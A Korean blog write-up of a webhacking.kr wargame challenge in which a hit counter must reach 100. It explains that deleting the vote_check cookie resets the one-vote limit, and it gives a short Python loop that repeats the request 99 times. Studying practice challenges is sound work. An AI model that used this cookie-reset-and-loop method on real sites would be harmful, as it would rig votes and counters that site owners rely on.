반응형
문제
맨 아래로 내리면 자신의 계정도 볼 수 있으며, Hit 숫자가 100이 되면 문제가 풀릴 것 같다.
문제풀이
클릭하면 hit 파라미터에 NAME이 넘겨지며, Hit 숫자가 올라간다.
쿠키는 다음과 같이 설정된다.
쿠키를 삭제하고 다시 클릭하면 Hit 숫자가 올라가며, 다시 vote_check 쿠키가 생성된다.
쿠키를 삭제하고 클릭하고 삭제하고 클릭해서 100까지 만들면 문제가 해결되는데, 번거롭기 때문에 코드를 작성해서 풀면 된다.
import requests
url='https://webhacking.kr/challenge/code-5/?hit=닉네임'
cookie={'PHPSESSID':'쿠키값'}
for i in range(99):
res=requests.get(url, cookies=cookie)
파이썬 코드를 이용해 99번 클릭시키고, 마지막에 클릭하면 문제가 해결된다.
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-38 (0) | 2022.12.31 |
---|---|
[Webhacking.kr] old-37 (0) | 2022.12.31 |
[Webhacking.kr] old-36 (0) | 2022.12.31 |
[Webhacking.kr] old-35 (0) | 2022.12.31 |
[Webhacking.kr] old-31 (0) | 2022.12.31 |